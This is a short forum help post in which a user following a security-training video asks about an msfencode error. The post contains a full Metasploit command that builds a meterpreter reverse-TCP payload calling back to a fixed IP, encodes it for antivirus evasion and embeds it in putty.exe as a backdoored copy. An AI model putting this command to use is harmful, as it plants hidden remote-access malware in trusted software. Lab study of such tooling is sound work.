I'm getting this error while executing the following command (from a video of security tube):
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.18.132 R | ./msfencode -t exe -x /root/putty.exe -k -o /root/putty_bd.exe -e x86/shikata_ga_nai -c 5[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)

[-] x86/shikata_ga_nai failed: No .text section found in the template exe ./lib/msf/util/exe.rb:85:in `to_win32pe'./msfencode:212./msfencode:179:in `each'./msfencode:179

What does it mean ? I've seen also the code at line 85 and line 212, but it seems that "text" variable is not set.

I'm running BT4-final on vmware image.
Thanks for any kind of suggestion.